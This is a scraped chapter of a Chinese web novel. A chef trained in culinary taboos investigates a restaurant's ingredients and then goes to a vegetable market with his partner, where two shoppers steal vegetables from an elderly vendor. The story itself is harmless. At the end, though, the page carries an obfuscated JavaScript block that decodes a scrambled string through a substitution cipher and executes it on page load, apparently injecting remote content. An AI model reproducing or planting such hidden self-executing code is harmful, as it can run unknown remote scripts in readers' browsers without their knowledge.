(手机请访问 m.duxs8.com)师父曾经跟我说过,做我们这行的,禁忌很多,像那七荤一素的断头菜,是用来上供给死人的,活人如果享用很可能会出大问题!
我们这行,除了很多不能够食用的禁忌外,对于食材的搭配要求也非常地高。
世间万物,都有它自己的特性,就如水火,前者温润温和,后者却火爆怒热,两者相冲相克,而食材中,有一些食材天生也是相冲相克,如果单单食用其中一种的话,那倒也没有什么,可如果两种食材混搭食用,在相冲相克之下,甚至可能产生致命的毒药!
这一点,人们都知道一些常识,就像鸡蛋和味精,然而人们不知道的更多!
就连阴阳神厨,我不敢说完全掌握所有食材的特性,我们知道的只是我们知道的。
“老板娘,我想看看你进的食材。”
我提出了自己的要求,一些特别的东西,只有阴阳神厨和一些老道的大厨才懂,卫生局那些人检查不出来的东西,我们却不一定检查不出来。
只是进饭馆的第一天,我就检查了一遍厨房的食材,并没有发现什么问题。
“小九,有什么发现?”二奎跑到厨房,瞅着我问道。
“这些食材没问题。”我仔细检查了一遍,还用了一些特别的方法,可却依一所获。
“老板娘,你这食材哪里买的?”我回头看着有些紧张的饭馆老板娘,不由笑着说道:“你别多想,我们没有怀疑你,只不过我们想查一下这件事是不是跟买菜的人那边有关系,说不定能找到什么线索。”
“老李头是个好人,他卖的菜都是自己种的,不可能有问题。”
老板娘连忙出声说道,脸上带着几分紧张得神色。
“老板娘,你放心,我们只是像从其它地方找一些线索,没有说买菜的人有问题,你也知道,这作案凶手可能是个变.态,变.态的想法和一般人都不一样,我们各方各面都要调查,这样才能推断罪犯到底是什么人,又可能在哪里出现。”
二奎嘿嘿一笑,看着老板娘说道。
二奎这家伙长地人高马大,又是部队里出来,正经说事的时候那三分国字脸很有一种说服力,老板娘一听,这才放心。
“我的菜都是在菜市场老李头那买的,他人很老,是自己在郊区种的菜地,每天出来卖的菜都很新鲜。”老板娘看着我和二奎说道。
“菜市场?”
我和二奎对视一眼,然后找了个借口把老板娘打发到一边。
“小九,你觉得是菜的问题?”二奎瞅着我,脸上带着几分疑惑:“前几天咱们不是检查一遍可吗?而且卫生局那些人的也都化验检查了,菜没有问题。”
“不好说,我还是想去看看。”
我摇摇头,很多东西二奎不知道,并不是食材有毒才能害人,有些正常的食材在某种搭配下的毒性堪比鹤顶红!
不过饭馆里面的食材都是普通的食材,并不存在哪种搭配会致命致聋哑的可能,这种情况可以排除,但事无绝对,师父曾经跟我说过,同样的食材,生长的环境不同,食材的特性也有很大的差异。
……
“新鲜的茄子,昨天刚进的,十块钱三斤,快来啊,马上就没了。”
“大白菜,早上刚从地里面采出来的,非常新鲜,一块一斤”
“新鲜的带鱼,过年带客的必备,快来……”
……
菜市场,到处都是吆喝声,一排排的商贩,每个摊上都有不止一种食材,大部分都是很常见的食材,像白菜、茄子、萝卜、西红柿、带鱼、鲤鱼、大闸蟹……
菜市场不大,毕竟只是一个地级市,菜市场可能有不少,但大部分规模都一般,不像大城市里面的特大菜市场,在里面转悠一圈可能需要几个小时。
“嘿,好久没来这种地方了。”
二奎看着菜市场,颇有些感触地说道。
“行了,没时间感慨,赶紧进去找人。”
我和二奎对于菜市场可一点都不陌生,毕竟我们之前也是开饭馆的,哪可能不去菜市场买菜?
挑选好的食材对一个小饭馆而言,可是一件大事,以前我和二奎每两天都要去菜市场一趟,花最少的钱买最好的食材,然后我的厨艺那时也算不错,凭借这些优势,我和二奎那小饭馆才能生意不错,一年盈利十几万甚至二三十万。
不然,换作一般的小饭馆,如果地理位置不是很好,恐怕能够不倒闭就算万幸!
“小九,那边”
站在菜市场中央,二奎指着不远处的一个小菜摊。
我和二奎走了过去,小摊上卖菜的是一个老头,大约五十多岁的年纪,摊上就他一个人,也许因为菜品的确不错,不大的摊上人却不少,五六个大妈还有两三个中年男人正挤在菜摊上卖菜。
“老张头,快点,老娘还等着回家呢。”
“就是,快点,不就几斤菜有什么好算的?”
两个胖乎乎的中年大妈一脸不耐烦地看着正忙着秤菜的老李头,小嘴巴巴个不停。
“好了好了”老李头呵呵一笑,连忙才菜递过去,说道:“一共二十六块钱。”
“给,三十,找钱!”中年大妈递过去一张二十一张十块的,然后伸手提起那一兜菜。
“好嘞”老李头嘿嘿一笑,拿着钱转身放到身后的一个小铁盒里面,然后又从里面拿出四张一块的。
然而就在他转身从小铁盒里面找零钱的时候,那两个中年大妈忽然对视一眼,其中一个连忙把手中提着的袋子打开,另一个面不改色地从摊上拿几个大茄子直接塞进装菜的塑料袋里。
那手脚快地,只是一眨眼的功夫,这大塑料袋就已经被菜装满。
“我去那边看看,你先在这边买着。”这时,其中一个大妈提着塑料袋往远处走去,还很自然地跟站在小摊前等找零的大妈大声说了一句。
因为她手上拿着好几个塑料袋,旁边的人忙着选菜,倒没人发现,当然也有看到的,可却每组一个人站出来。
二奎皱眉,立马上前挡住大妈的路,虎着脸说道:“警察,把菜还回去!”
大妈愣了一下,张嘴就想大骂。
可二奎在菜市场这地方混地不是一天两天,深知这些大妈的脾性,直接沉声打断道:“你要不想丢人的话,放下菜走人,不然别怪我不客气!”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();